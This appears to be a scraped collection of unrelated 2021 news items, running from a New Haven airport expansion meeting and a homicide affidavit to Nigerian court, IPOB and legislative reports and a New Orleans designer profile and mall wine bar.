She also complained about noise and said her neighborhood was not included in the past soundproofing that Tweed has done.

Nobody comes to our neighborhood, Marchitto said.

Scanlon said he would be happy to go to Marchittos neighborhood.

Morris Cove neighbor Rachel Hareema, organizer of an effort to set up the meeting as well as an anti-expansion group called 10,000 Hawks, said Tweed and neighbors really should meet in person.

Hareema suggested Scanlon come to a meeting of the East Shore Community Management Team.

Scanlon said he would be happy to  and actually thought he was on the agenda for the teams July meeting. It turned out he wasnt, however, according to Chairman Howie Blau.

Blau said he will set up a special meeting in the near future to talk about Tweed.

Neighbor Claudia Bosch said she was suspicious of a proposal to remove Tweeds current 160,000-pound weight limitation, which she said kind of opens the door to freight  and Amazon. She also suggested possible limits on operating times at Tweed.

Scanlon said Tweed cant really limit flights because its a public airport. All we need to do is comply with the citys noise ordinance, which he said the airport does.

Fair Haven Heights resident Rose Bonito said about people in the area, most of us are just really concerned about our homes and our quality of life.

Not one person ever knocked on the doors in my neighborhood, she said, noting Fair Haven Heights is affected by traffic taking off from and landing at Tweed.

Alder Rosa Ferraro-Santana, D-13, said Fair Haven Heights has been misrepresented in the process.

Those planes come over my head many times a day, she said, and although you dont think it affects us, it does.

We have a right to know whats going on, Ferraro-Santana said. Its not just people who live in and around the airport.

Elicker said the city and Tweed have worked hard to come up with a community benefits package to accompany expansion, which includes $5 million for traffic calming and noise abatement measures, among other things.

The agreement has a lot of things that the community wanted, he said.

Responding to questions about the city using its bonding authority for improvements around Tweed, Elicker said that after the current fiscal year, There will be no city subsidy moving forward, including bonding.

Morris Cove neighbor Susan Campion said she

urges city and Tweed officials to listen to the people. Sit down now and listen to these comments. Come out to the neighborhood. Communication never hurts.

Resident Lisa Bassani said she was skeptical of Tweeds sincerity. I think its pretty clear that this cake is baked, and I dont think people feel heard, she said.

Scanlon said Tweeds next public meeting  to address traffic concerns  will be at 6 p.m. July 15. The meeting will be held via Zoom. Details to sign on to the meeting will be posted on www.thenewhvn.com, Scanlon said.

Editors note: This story has been updated to correct the date for Tweeds community meeting on traffic. It is July 15 at 6 p.m.

mark.zaretsky@hearstmediact.com
NEW ORLEANS (AP)  Efforts to mitigate COVID-19 at large New Orleans events  including mask mandates or requirements attendees be vaccinated or have a negative test  will likely continue into the fall because of low state vaccination rates and the spread of dangerous variants, the city's health director said Tuesday.

Dr. Jennifer Avegno's remarks came at a news conference focusing on the city's efforts to encourage vaccinations in a state that has one of the nation's lowest vaccination rates. Louisiana health officials on Tuesday said COVID-19 cases are surging, largely among non-vaccinated people, as the more easily transmissible Delta variants spread in the state.
NORTH HAVEN  Town police met Qinxuan Pan, the man later accused in the death of Yale graduate student Kevin Jiang, on night of the slaying in February, police documents show.

But according to an arrest warrant affidavit released this week, town officers had received a different description for the New Haven homicide suspect, so they let Pan go. The warrant affidavit details the steps town police took that night with regard to Pan, who later fled the state and was the subject of a monthslong manhunt that ended with his arrest in May.

Pan, who appeared in Superior Court in New Haven Tuesday on a murder charge, also was to be arraigned on North Havens second-degree larceny charge in Superior Court in Meriden, according to judicial records.

William Gerace, defense attorney for Pan, said Tuesday that he had met with Pan for hours and hours and hours in recent weeks, but had not come to a strategy for his defense in the New Haven homicide case.

In the warrant for the North Haven case, Officer Marcus Artaiz said he and another officer were dispatched to Sims Metal Management on Universal Drive for a report of a suspicious vehicle in the lot just before 9 p.m. on Feb. 6.

They found a dark blue 2015 GMC Terrain, driven by a man allegedly identified as Pan, straddling the railroad tracks, Artaiz wrote in the warrant affidavit.

Pan reported he took a wrong turn or missed the highway entrance as he was trying to get to Massachusetts, but could not explain why he drove through the Sims property onto the tracks, Artaiz wrote in the warrant affidavit.

The license plate on the vehicle was determined to belong to a commercial vehicle reported stolen in Newington, according to the warrant affidavit. Pan told police the vehicle was a rental and that he did not switch the plate, according to the warrant affidavit.

Clare Dignan / Hearst Connecticut Media

Different description

An arriving tow driver agreed to take Pan to the Best Western Hotel at 201 Washington Ave., according to the warrant affidavit. Artaiz followed Pan to the hotel.

Soon after he arrived at the hotel, North Haven police dispatch relayed the New Haven Police Department issued a broadcast indicating they were looking for a black GMC Terrain that was involved in a homicide in their town, Artaiz reported in the warrant affidavit.

Witnesses in the New Haven case described seeing a black SUV leaving the scene of the shooting, with one individual reporting it possibly was a black 2013 GMC Terrain, according to the warrant affidavit by New Haven police.

New Haven relayed the vehicle was possibly occupied by two individuals, one of whom was possibly a (B)lack male wearing a yellow sweater or coat. I remained with the vehicle and Pan for a short period of time pending additional information and eventually responded back to North Haven police headquarters as the information contained in the broadcast did not match the operator (Pan), Artaiz reported in the warrant affidavit.

Contributed

New Haven police acknowledged in their own affidavit for Pan that a dispatcher in that city erroneously broadcasted that (an) occupant was possibly a (B)lack male, although no witness reported that.

The affidavit also said North Haven police later received a call from Mansfield (Massachusetts) reporting that the GMC Terrain allegedly was stolen from their community.

On the day after the interaction with Pan, North Haven police were called to the Arbys at 267 Washington Ave., where employees reported finding a bag containing a firearm and ammunition, according to the warrant affidavit.

Officers found a silver, .45-caliber Ruger pistol at the Arbys, as well as numerous magazines and boxes of ammunition, a black briefcase and plastic bags, Artaiz said.

One of the responding officers, who also had responded with Artaiz to the Sims site the night prior, recognized the bags as having been in the SUV Pan was driving, according to the affidavit.

Police also found the tow form that Pan had completed, as well as a lightweight yellow jacket, Artaiz wrote in the affidavit, noting, the State of Connecticut tow form that was completed by the undersigned the previous night was located in the black briefcase as a copy was provided to Pan on scene.

Artaiz noted in the North Haven affidavit that, as he looked at his body camera footage the following day, he also did notice a tan or yellow jacket or garment that had been in the vehicle Pan was in.

North Haven police Chief Kevin Glenn declined to comment on the warrant affidavit. In response to questions, he said that the department, (o)ut of respect for the integrity of the States prosecution, would not be releasing further information at this time.

Glenn did say Pan was charged with second-degree larceny for possession of the allegedly stolen SUV.

Ben Lambert /

Pan was arrested by U.S. Marshals in Montgomery, Ala., in May and extradited to Connecticut.

Jiang, who police said was shot multiple times, had been found dead at the intersection of Lawrence and Nicholl streets at about 8:33 p.m. Feb. 6.

Affidavit: The guns, cars and DNA that led police to arrest Qinxuan Pan in slaying of Yale grad student.

Pans bail was set at $20 million on May 20 as he was arraigned on a charge of murder. The state judicial system now is considering what could be an appropriate bail amount for Pan. Gerace, filed a motion last month with the state Supreme Court seeking to compel Judge Brian Fischer to explain his rationale for initially setting Pans bail at $20 million. A response to the order must be submitted no later than Thursday.

william.lambert@hearstmediact.com
Gov. Ned Lamont has needed executive authority since the COVID-19 outbreak in March 2020 to help Connecticut navigate efficiently through this once-a-lifetime crisis. With the unpredictable Delta variant looming and schools set to reopen in little more than a month, we believe those emergency powers will be needed in the next few months.

The General Assembly on Wednesday was right to grant Lamont an extension through Sept. 30 for orders necessary to maintain safety during the pandemic. The vote divided mostly along party lines, with all Republicans opposed to granting an extension to the Democrat. Nine Democrats in the House and four in the Senate also broke from the majority.

Lamont has not abused this authority so far. He issued orders rapidly during the early weeks of the pandemic, but most concerned health. COVID positivity rates have begun climbing again. This is not the time to relax the states guard.

Objections from conservative camps arose quickly in 2020, as businesses were divided into essential and non-essential categories. Had some businesses not been shuttered, however, and residents not been mandated to wear masks, the consequences are obvious: More people would be dead.

House Republican leader Vincent Candelora of North Branford argues that The Legislature in Connecticut is taking up more of a role of Parliament.

Such rhetoric has fueled protest signs outside the Capitol bearing the words Stop King Ned.

Lamont told the Hearst Connecticut Media Editorial Board last week, Folks in this building didnt want to be stuck having to decide six months ago (whether to) keep the bar open? Close it? Wear a mask? Nobody really wanted to make that decision. It was kind of handy to say, Neds a dictator ...

We have, at times, questioned the extensions ourselves, equally anxious for the balance of traditional power to be restored. But there is still wisdom in The Man Who Would be King author Rudyard Kiplings logic that he travels the fastest who travels alone.

King Ned, as critics have dubbed him, is not without watchdogs. Executive orders can by spiked through a veto from a majority of legislative leaders from both parties. To date, no orders have been vetoed.

The latest orders, by the way, relate to issues such as mandating masks for certain settings, turning commuter lots into vaccination clinics and increasing time for tenants to pay back rent.

We all want the pandemic to be over. But, as Yogi Berra reminded us when he managed the New York Mets through a tight September 1973 pennant race: It aint over till its over. The Mets were at the top in the end, but that scenario had a deadline. This one does not. For now, we could still run the daily headline, The pandemic aint over.

The Legislature is not as nimble as Lamont when emergencies arise. Until this is truly over, he should have the power to keep the people of Connecticut safe.
Caspian Elliott Albright-Maroney became one of the Lord's little angels on Wednesday, July 14, 2021 at Strong Memorial Hospital. He was the son of Amber Elliott-Albright and Mark Maroney. Besides his parents he is survived by his siblings, Athena Marie Maroney and Noah Maroney; grandparents,
Artist Justin Suarez of Rochester has been working on a new mural on Depot Avenue, part of the Niagara Falls National Heritage Area mural project next to the Niagara Falls Train Station. Suarez, posing at the mural on June 21, said he really enjoys young people of color seeing themselves rendered in art.
The supreme court has issued an order restraining the federal government and its agencies from ceding 17 oil wells to Imo state. The o...





The supreme court has issued an order restraining the federal government and its agencies from ceding 17 oil wells to Imo state.

The oil wells are located in Akri and Mgbede communities, where the Rivers and Imo state governments are disputing boundaries.

Ruling on an ex parte application, the apex court on Wednesday granted an order of injunction restraining the attorney-general of the federation (AGF) and the Imo state attorney-general from taking any further action on the ownership of the disputed oil wells.

The court also barred the federal government from approving, implementing or giving effect in any manner to a letter from Revenue Mobilisation Allocation and the Fiscal Commission (RMAFC), with reference number RMC/O&G/47/1/264 of July 1, 2021, which cancelled the equal sharing of proceeds from the 17 oil wells by Rivers and Imo states.





Rivers state, through its attorney-general, had dragged the AGF and the Imo state attorney-general before the supreme court over the boundaries.

The State government sought a declaration that the boundary between Rivers state and Imo state, as delineated on Nigeria administrative map, 10, 11 and 12 editions and other maps bearing similar delineations are inaccurate, incorrect, and do not represent the legitimate and lawful boundaries between the two states.

The plaintiff also sought a declaration that the said maps and other maps bearing similar delineations relate to the boundaries between Rivers and Imo, the said maps are unlawful and void and cannot be relied on to determine the extent of the territorial governmental jurisdiction of Rivers state.

Rivers state urged the supreme court to declare that the correct instrument, maps and documents to be relied on in determining the boundary between Rivers and Imo State are those used by the plaintiff in delineating the boundary lines between Rivers and Imo.

They prayed the court to declare that the oil wells within Akri and Mbede communities are wrongly attributed to Imo state as they fall within the territory of Rivers state and form part of Rivers state.

It also prayed that only Rivers state is entitled to receive the full allocation of the distributable revenue from the oil wells based on the 1390 derivation as contained under section 162 of the 1999 constitution.

Consequently, they sought an order directing the AGF to calculate, to its satisfaction, and refund to it all revenue that has been wrongly attributed to or paid to Imo state on account of the limit or extent of their territories, including earnings due to it from revenue derived from Akri and Mbede oil wells.

A sum of N500,000,000 naira was also sought as the cost of prosecuting the case.

The supreme court has fixed September 21 for the hearing of the substantive suit.

In 2020, Rivers state won a boundary dispute involving the return of the Soku oil fields from Bayelsa state.
Three Israelis shooting a documentary in a separatist region in southeast Nigeria were arrested last week, the Foreign Ministry has confir...

Three Israelis shooting a documentary in a separatist region in southeast Nigeria were arrested last week, the Foreign Ministry has confirmed.

According to Times Of Israel, Nigerian authorities arrested and interrogated the trio on suspicion that they had come into contact with Biafran separatists.

According to the Foreign Ministry, the Israeli Embassy in Abuja is following the case closely and is in contact with Nigerian authorities.





One of the Israelis arrested is Rudy Rochman, a Zionist activist with almost 95,000 followers on Instagram. Making the flight with him were filmmaker Noam Leibman and French-Israeli journalist E. David Benaym.





The Israelis were in Nigeria to film We Were Never Lost, a documentary exploring Jewish communities in African countries such as Kenya, Madagascar, Uganda, and Nigeria.





They took off from Ben Gurion Airport on July 5 and landed in Nigeria the next day.

According to residents, the crew was detained at a synagogue during Friday night services in the Igbo village of Ogidi by Nigerias secret police, the Department of State Services (DSS) and taken to Abuja.





Ogidi is the headquarters of Idemili North Local Government Area, Anambra State.

The filmmakers were aware of the political sensitivity surrounding the filming of the Igbo community. Last Thursday, the "We Were Never Lost" Facebook page stressed: We do not take any position on political movements as we are not here as politicians nor as a part of any governmental delegations.

Last week, the group met with Igbo leader, Eze Chukwuemeka Eri, and presented him with a framed Shiviti made in Jerusalem.

Rochman also presented another Igbo community with a Torah scroll whose cover was designed by British-Israeli street artist Solomon Souza.

The Igbo consider themselves a lost tribe of Israel.





In January, a conflict broke out in southeastern Nigeria between Nigerian forces and the military wing of the Indigenous People of Biafra (IPOB) movement. The fight is ongoing.





A previous unilateral declaration of independence by the Igbo people in 1967 sparked a brutal 30-month civil war that left more than a million dead.





In 2018, IPOB leader Nnamdi Kanu gave a radio broadcast saying he was in Israel and indicating he owed his survival to the Jewish state.





Kanu, a former London estate agent, heads IPOB and the outlawed pirate radio station Radio Biafra.





He maintains the Igbo people, who are in the majority in southeast Nigeria, are a lost tribe of Israel and it is his mission to lead them to the promised land of Biafra.





The Nigerian government, on June 21, announced Kanus arrest and extradition to Nigeria to continue facing trial.

He was subsequently arraigned before Binta Nyako, a Judge of the Federal High Court in Abuja.

Kanu is facing charges bordering on treasonable felony instituted against him at the court in response to years of the campaign for the independent Republic of Biafra through IPOB.

He was granted bail in April 2017 for health reasons but skipped bail after disregarding some of the conditions given to him by the court.
Human rights lawyer and activist, Femi Falana, SAN, has said economic saboteurs and political buccaneers have taken over the country, as he ...





Human rights lawyer and activist, Femi Falana, SAN, has said economic saboteurs and political buccaneers have taken over the country, as he criticized the inhuman treatment given to IPOB leader Nnamdi Kanu and Yoruba secessionist leader Sunday Igboho by Nigerian security operatives.

He also added that the Buhari-led administration has taken the country back to 1984.

He made this statement on Tuesday in Lagos at a symposium with the theme, Remaking Nigeria: Towards a secure and viable union.

The parley was the 13th Wole Soyinka Centre Media Lecture Series organized by the Wole Soyinka Centre for Investigative Journalism, WSCIJ and the African Centre for Media and Information Literacy, AFRICMIL at NECA House in Ikeja, Lagos.

Falana, who was the Chairperson at the occasion, also charged non-governmental organisations to take active part in politics rather than allow criminal-minded people take charge, adding that the politics of NGO is no longer relevant for the country.

The politics of NGO are no longer relevant in our country. You cant have non-governmental people out there, while criminal minded people are in the parliament. What do you expect? Economic saboteurs, political buccaneers have taken over our country and we are saying we are doing NGO work. No! You guys here and if you are in parliament, six of you in our national assembly, the difference would be clear.

And that is why after this programme, and that would be to the delight of Prof. Soyinka that we can resolve here today that we are going to make maximum intervention in the politics of our country. And I will assure you there is no cause for alarm, he said.

He also commended Nigerians for rising up to the occasion and rejecting the nomination of the Personal Assistant to the President on New Media, Lauretta Onochie as an INEC Commissioner.

However, Falana advised Nigerians to be on the lookout, adding that the battle is not over as Onochie is likely to be nominated again.

For me, we are in a very perilous country, that we are still talking of Onochie. By the way, she was rejected last year. A lot of you are aware. She was to be made a National Commissioner. She was rejected. Now they want to make her a Resident Commissioner. She has just been rejected. But mind you, they would bring her back. Because they believe we are just a pack of fools. And that is why I must commend Nigerians for her rejection this time around. Dont get tired And this is my challenge to all. We have done very well. But let us be very careful, he warned.

Reacting to the news that the bill to criminalize protests had been withdrawn, Falana opined. My son sent this to me and I said the Yorubas say if you are being pursued by a masquerade, keep on trying because just like you are getting tired the masquerade is getting tired too.

He also charged Nigerians not to be afraid. They will only scare you. They wont win because their cause is wrong, their cause is not just like your own. And the greatest tribute we can pay to Prof. Wole Soyinka, who for the past 60 years has been in the forefront of the struggle of our country for change, is to rededicate ourselves to the struggle for the transformation of our country from a land of poverty to a land of prosperity.

Falana also alerted the media that the federal government had allocate N4.2 billion to monitor telephone and social media conversations of Nigerians so that when you are communicating with your friend or your political ally and again the message is deemed dangerous you are going to be arrested.

And I am saying have no fear. We are going to court because by virtue of Section 37 of the constitution, your right to telephone, your correspondence , telegraphic communication are protected by the constitution. Therefore we are going to challenge the violation. The money has been voted. But we are not going to allow them to spend the money, he averred.

Falana also had some words of advice for the media. Finally I want to beg the media. And we must not be sentimental about it. You have to self-regulate. There is a lot of mess going on. And if you dont self-regulate, they are going to regulate you. I am challenging the NPAN, the NUJ and the Nigerian Guild of Editors to meet urgently and bring out some new code of conduct because today two people or one person can sit down in his house, set up an online medium and begin to send any message, some of them just meant to blackmail. So that must be corrected. We must not wait for the government to do that.

Reacting to the inhuman treatment Nigerian security operatives gave Nnamdi Kanu and the brutish manner Sunday Igbohos house was attacked he said: Let me round off by saying it is Kanu today. It is Igboho today. It may be your turn tomorrow. We may not like them and some of us are critical of these gentlemen. But there are certain minimum irreducible standard for our country. So we must not allow the Buhari regime to take us to 1984.

Because many of you were very young then. An attempt was made to kidnap a Nigerian politician, Umaru Dikko. He had already being kidnapped. He was being taken to the airport when a lady in her flat saw the strange and primitive treatment of a human being and cried to the security. And that was why that was stopped.

So you cant go back to Umaru Dikko in 2021. And under the law Kenya cannot admit it. Thats why Kenya is in trouble. Kenya cannot admit that in her soil a Nigerian was taken out of her country without going through the law. If you want to remove any criminal in a country, you must go to court. They call it extradition.

But to abduct a citizen of a country and put tranquilizer on him or send him to sleep is against the Anti-torture Act of Nigeria. It is against Section 35 of the constitution- right to liberty. It is also against right to fair hearing.

Therefore those who say oh we brought Kanu back through some Interpol, we intercepted him through some international security  No! No! there is nothing like that. I challenge the government. Interpol does not abduct and deport anybody. Interpol would serve what is called Red Alert. That Red Alert allows a criminal suspect to be arrested pending extradition and not pending abduction.

Therefore let these guys know we are a civilized people. You cant go to a citizens house, who is presumed innocent and you said we have raided. Please you can look at the means of raid in your phones. Raid means to launch an attack on an enemy camp.

A citizen cannot be an enemy, when he has not even been tried. So you cant go to a citizens house in the night and come out to say we killed two people, as if you are talking of two goats or two dogs. Who are they? Where is the post-mortem report? What is their identity? He asked.

It was an afternoon full of ideas and the proffering of solutions to Nigerias problems. Speakers at the event, who are also contributors to the book, Remaking Nigeria: Sixty Years, Sixty Voices edited by Chido Onumah, included Ahmadu Shehu, an academic and the first nomad to bag a doctorate in Nigeria; Nubari Saatah, a Niger Delta activist and acting President of the Niger Delta Congress; Inebehe Effiong, a public interest and human rights lawyer; Victoria Ibezim Ohaeri, Founder and Director of Research and Policy at Spaces for Change, S4C; and Motunrayo Alaka, Executive Director (CEO) of the Wole Soyinka Centre for Investigative Journalism, WSCIJ.

Other speakers such as Hafsat Abiola Constello, Ndi Kato and Moses Ochonu spoke via Zoom. Guests in attendance who made valuable contributions included Jiti Ogunye, a legal practitioner and Prof. Ralph Akinfeleye, academic and journalism and Mass Communication scholar. There was also a Question-and-Answer session in which speakers fielded questions from the audience.
Governor Douye Diri of Bayelsa State has imposed a dusk-to-dawn curfew on Bassambiri and Ogbolomabiri areas of the Nembe Local Government Ar...





Governor Douye Diri of Bayelsa State has imposed a dusk-to-dawn curfew on Bassambiri and Ogbolomabiri areas of the Nembe Local Government Area of the state.

Diri said the curfew, which takes effect from Wednesday, was in a bid to prevent the escalation of violent crisis.

This was contained in a statement by the Commissioner for Information, Orientation and Strategy, Mr. Ayibaina Duba.

There has been reports of violent crisis in the Nembe Local Government Area of the state.

However, Duba said the curfew will run from 6pm to 6am daily until the situation improves.

The statement read, Bayelsa State Government has reviewed the reports of violent crisis in Nembe, leading to a breach of the public peace and the law by yet-to-be-identified individuals.

Worried that the violence might escalate, a dusk to dawn curfew is hereby imposed on Nembe; Bassambiri, Ogbolomabiri and environs effective from Wednesday, July 14, 2021.

The curfew shall be in force from 6pm to 6am daily until the security situation in the affected communities improves.
The Eastern Security Network (ESN), the militia of the Indigenous People of Biafra (IPOB), have allegedly killed two soldiers in Enugu. ...

The Eastern Security Network (ESN), the militia of the Indigenous People of Biafra (IPOB), have allegedly killed two soldiers in Enugu.





According to Onyema Nwachukwu, army spokesman, the soldiers were killed on Tuesday at a checkpoint in Uzo-Uwani local government area (LGA) of the state.

He said members of ESN had engaged the troops in a gun duel which led to the death of the soldiers.

Nigerian Army troops deployed to checkmate the activities of gunmen at Adani community of Uzo-Uwani Local Government Area of Enugu State, yesterday 13 July 2021, repelled Eastern Security Network gun attack on troops location at Iggah/Asaba checkpoint, he said.

Sadly, during the firefight that ensued, two soldiers paid the supreme price. Troops are currently on the trail of the criminals.

We assure the general public of our commitment to provide adequate security in the general area in collaboration with other security agencies.

We also urge members of the public to complement the effort of the security agencies by remaining law-abiding and provide useful information on the fleeing gunmen.

ESN had launched attacks on security formations and infrastructure across the south-east in the past months.

The attacks ceased after Nnamdi Kanu, leader of IPOB, was arrested and extradited to Nigeria.

But there appears to be a resurgence of attacks.
The Indigenous People of Biafra (IPOB) has asked the federal government to allow its leader, Nnamdi Kanu, receive medical treatment for hi...

The Indigenous People of Biafra (IPOB) has asked the federal government to allow its leader, Nnamdi Kanu, receive medical treatment for his deteriorating health.





In June, Nnamdi Kanu was arrested and extradited to Nigeria to face charges over alleged treason  he has since been remanded in DSS custody.

Although the federal government hasnt disclosed details of where Kanu was arrested, IPOB had alleged that he was picked up in Kenya.

Speaking on Kanus alleged health condition, Emmanuel Powerful, the groups spokesman, said the federal government should allow the IPOB leader access to proper medical care.





We are alerting the world about this anomaly to compel the Nigerian government to grant our Leaders doctors access to see him for a thorough medical examination, bearing in mind the terrible torture he underwent for eight (8) days at the hands of the Kenyan security agents, IPOBs spokesman said.

We wish to unequivocally state that no harm should befall our leader as the consequences can only be better imagined.

The group also urged the UN, AU, EU, ECOWAS and other relevant organisations across the globe to rise in defence of justice and compel the Nigerian Government to grant Kanu access to his doctors.





Our Leader must not die in DSS custody, neither should he suffer any serious health complications, Powerful said.

Our leader, Mazi Nnamdi Kanu, has not committed any crime against the Nigerian or Kenyan government to warrant being treated as a criminal.

Human rights organisations and men and women of good conscience across the world should not watch idly while our leader is being dehumanised.
The Kano State Hisbah Board has arrested five men suspected of engaging in homos3xuality at Sheka Barde in Kumbotso local government area ...





The Kano State Hisbah Board has arrested five men suspected of engaging in homos3xuality at Sheka Barde in Kumbotso local government area of Kano.

The Commander General of the Board, Dr Harun Ibn-Sina confirmed the arrest in a statement issued in Kano Monday.

It was signed by Malam Lawal Ibrahim, Public Relations Officer of the Board.

According to him, the arrests were made following reports from residents of the area.

All the suspects confirmed to be above 20 years of age, were apprehended on July 11 during a special raid, he said.

The commander-general expressed outrage over the alleged actions of the youths.

Ibn-Sina thanked members of the community and security stakeholders for their cooperation and support in cracking down on corruption in the state.

He said the suspects would be charged to court.

The commander-general urged youths to shun unwholesome practices as they were leaders of tomorrow,
The Ogun State House of Assembly has told traditional rulers in the state that it will not allow the use of human beings for rituals during ...





The Ogun State House of Assembly has told traditional rulers in the state that it will not allow the use of human beings for rituals during the installation or burial of a monarch.

The Speaker of the Assembly, Olakunle Oluomo, said this on Wednesday while declaring open, a public hearing on the traditional council law of Ogun State 2021 at the Assembly Complex, Oke- Mosan, Abeokuta.

Oluomo stated that the lawmakers are not against traditional rites for installation and burial of Obas in the state, saying, however, that the use of humans for the purpose is barbaric and no longer allowed.

Nobody is saying they should not do traditional rites for installation and burial of Obas, but we are not going to support the usage of human being for rituals, as the world has moved away from that barbaric practice, which is even against the right to life and human dignity as guaranteed by the Constitution of the Federal Republic of Nigeria, the speaker declared.

The speaker clarified that the bill does not set out to specifically tinker with the burial rites as being speculated.

Rather, Oluomo explained that the legislation was initiated to correct many existing anomalies in the traditional institution, especially the conduct of installation without following due process including absence of declaration for some traditional stools, which, he said, has been creating difficulty on how to determine those entitled to the throne.

The speaker submitted that such unethical practice had made it easy for unqualified persons and strangers to lay unmerited claims to the stool, thereby creating distortions in historical records in recent times.

Oluomo mentioned that the Assembly would pass a bill that would put a stop to the attendance of political rallies by monarchs, thereby returning the institution to its pride of place and honour.

We have equally seen where a town or village is in existence (as orile) and the Baale is there, but in their developed area, where plots of land were sold to strangers to erect residential structure, such strangers were later allotted a traditional stool illegally, instead of promoting the existing Baale to the status of a coronet Oba. It has been the new norm of short-changing the original inhabitants of the area in the selection of monarchs to the advantage of strangers which must stop.

These are part of the things we are trying to correct and if you look at the number of petitions before the House and litigations going on in the various courts of law in the State, over 70% of such court cases are based on Obaship issues because of the lacuna and errors of application of the existing traditional council laws, the speaker stated.

In their contributions, other stakeholders including the representatives of Egba Traditional Council and Towulade of Akinale Kingdom, Oba Olufemi Ogunleye; National Secretary, Committee for the Defence of Human Rights, Comrade Yinka Folarin; Chief Imam of Gbagura, Prof. Kamaldeen Balogun; harped on the essence of peaceful co-existence among religious groups and commended the Assembly on the proposed bill with an assurance of conveying their positions through memoranda in due course. You

Also, the representatives of the traditional worshipers group, Fagbemi Ifakorede from Ota and the State Secretary of Ifa worshippers, Faniyi Awoyemi, noted that the traditional belief remained essential in the running of traditional institution, stating that monarchs were to be buried in line with the traditions and customs of their people.
Watertown, NY (13601)

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Partly cloudy skies. A stray shower or thunderstorm is possible. High 81F. Winds WSW at 5 to 10 mph..

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Pharmacy student Norbek Gharibian prepares a Johnson & Johnson COVID-19 vaccine on May 7, 2021, in Los Angeles, Calif., at a vaccination clinic setup by Los Angeles Football Club, partnering with the Los Angeles County Department of Public Health and USC Pharmacy, where those vaccinated were due to receive a 20% discount on merchandise at the LAFC team store. Frederic J. Brown/AFP via Getty Images/TNS
There are those who leave their work at the office. Then there are those like Tara Shaw, whose passion for her work is alive in her Uptown home.

A collector never gets tired of collecting, said the antiques dealer and designer, known for the refined yet relaxed way she marries fine European antiques with high-end midcentury and contemporary pieces as well as selections from her own line of reproductions. Once youre smitten, youll always be creating and recreating your home.

Its hard to imagine changing a single thing about the house where Shaw resides with her husband, attorney Robert Walsh, and her sweet-tempered whippet, Brother Lucca. But Shaw, who anchors her projects with timeless antiques, is always editing. A change of upholstery or an exceptional one-of-a-kind piece of 20th-century signed pottery here. A designer wallpaper with a large-scale abstract print there.

Her connection to the house predates her ownership. The late architect Barry Fox designed the Hausmann-style residence for the previous owner, who, like Shaw, was a Francophile. She first admired its quintessential Parisian architecture when it was being built.

I used to walk by on the way to the park, she says. I never dreamed it would ever be for sale.

Two decades later, when the property went on the market, she purchased it, added a saltwater pool, planted 80 trees around the periphery of the gated triple lot for privacy, and filled the house with the exquisite array of antiques shed gathered over the years.

+2 7 home design guidelines from Tara Shaw Understand furniture. Understand yourself. And find a "hero." Top designer Tara Shaw ticks off some rules for home design.

The mix of old and new is marked with the finesse of one who frequents Paris flea markets at the crack of dawn and can spot a bad finish at 100 paces at 5 a.m. without a flashlight. An ornate 18th-century Spanish baroque mirror hangs above a minimalist limestone mantle; an iconic Charlotte Perriand chaise sits near a Louis XIII  Louis XIV transitional armoire. Juxtaposition modernizes the assemblage, which is subtly tied together by Shaws eye for proportions and similar finishes and themes, as well as her use of color, texture and carefully curated art.

The neutral palette, which runs the gamut from whites and taupes to tobaccos and blacks, exudes an air of serenity designed to counteract the demands of Shaw's business and the after-hours calls and texts that go with it.

I dont want to be excited in my home, says Shaw. A typical day is long. I want to walk in my home and exhale.

Shaws talent is both innate (at 7, she decorated her room with an animal print banquette and a black faux-fur throw) and fine-tuned through years of hard work, first in the fashion industry. By cold-calling design showrooms in New Yorks garment district, she picked up multiple fashion lines and opened her own Dallas showroom. Her success ultimately led to new ventures in antiques and interiors.

After about seven years, I could buy a really nice piece of furniture once a year, she says. I was reading Architectural Digest, World of Interiors and every shelter magazine and design book I could get my hands on. I was just enthralled with design. The spectrum of collecting was appealing to me.

She began what she calls guerrilla hunting for antiques to furnish her own living space. In New Orleans, she found a European ambience in step with her affinity for European antiques, renovated the first of two Victorian cottages and turned her collecting pastime into a wholesale business that immediately had legs via word of mouth. She sold her first container of antiques in front of a ministorage space in 10 minutes and quickly became a valued resource to well-known interior designers.

Along the way, she opened a warehouse on Camp Street, started her own line of European antique reproductions  Tara Shaw Maison  designed homes for a list of clients that includes celebrities, and inked a lucrative licensing deal with Restoration Hardware that allowed her to cut back on her travel schedule.

Last year, she published her first book, "Soul of the Home," already in its fourth printing, and this spring, she opened a Magazine Street retail showroom, the alluring contents of which can be seen from the street. Three years in the making, the building, which was home to National Art & Hobby for decades, now has iron balcony rails and vitrine windows that evoke French architecture and a gleaming white interior for showcasing Shaws handpicked finds.

Teaching has become part of her metier, especially through the showroom. Like her home, which features prominently in her book, it demonstrates Shaws design vernacular  a European aesthetic with a hip, current vibe. Across the facade of the building, sleek linear sconces are strikingly contrasted with the now historic look of the building. On display in the front of the store, a painted 18th century Swedish dining table is paired with contemporary black Klismos chairs from Italy.

I wanted to teach people how to collect in my own voice, says Shaw, whose current projects include clients in both London and Paris. Whether working with clients and helping them define what theyre drawn to or working with a designer or the public, I enjoy the process.

But the real backbone of Shaws house and business is the love of the hunt. With a trip to Europe less than two weeks away, she is already anticipating finding the next piece that takes her breath away.

The majority of the time, she says, its all about being in the field in the markets in Europe.

+16 A look inside the elegant, art- and antique-filled home of New Orleans designer Alexa Pulitzer Designer Alexa Pulitzer opens the door to her Faubourg St. John home in midconversation with her office assistant, one hand holding the leash 

+16 From a hanging fireplace to a caged elevator, this sleek Magazine Street home is a standout Skoota Warner met Yucynthia Yucy Jean-Louis in New York City about 15 years ago, and right away, they seemed to be in harmony.
In addition to a shopping list, some people visiting Lakeside Shopping Center may soon be perusing a wine list. A local restaurant group is developing a new wine bar and cafe in the mall.

Its the next project from New Orleans-based Creole Cuisine Restaurant Concepts, which operates many restaurants around the area. The company has not yet confirmed a name for it, but work is underway to have the new bar open by late September, company CEO Marv Ammari said.

We think this will be a nice complement to the mall, a place for people to stop in and have a drink and a snack, he said.

The new wine bar is taking shape near the center of the mall, in the location formerly occupied by a Godiva Chocolatier store. Earlier this year, Godiva began closing all 128 of its retail stores and cafes in North America to focus on wholesale and online sales.

The wine list will offer many sparkling wines and roses, along with a full range of styles. Many wines will be served on tap. There will also be cocktails and beer. The menu, now under development, will focus on quick, easy dishes to pair with drinks.

Ammari said he was inspired by wine bars hes seen in malls in other cities. One difference here, though, will be go cups. Customers will be permitted to take their drinks with them to keep strolling the mall.

This is New Orleans. Without that, it might be a tough sell, he said.

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Late last year, his company opened its new a Tavola Restaurant & Wine Bar in a separate building adjacent to the mall, taking over the former home of Bravo! While that restaurant draws shoppers, Ammari said having a wine bar within the mall itself will offer a different experience.

It will be part of the visit. You dont have to leave and make another stop, he said.

